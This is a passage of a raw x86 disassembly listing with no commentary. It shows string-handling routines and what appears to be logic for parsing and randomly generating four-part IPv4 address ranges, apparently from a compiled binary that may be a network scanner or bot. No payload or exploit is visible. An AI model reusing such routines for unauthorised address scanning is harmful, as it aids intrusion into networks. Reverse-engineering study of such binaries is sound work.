-8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF48 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; 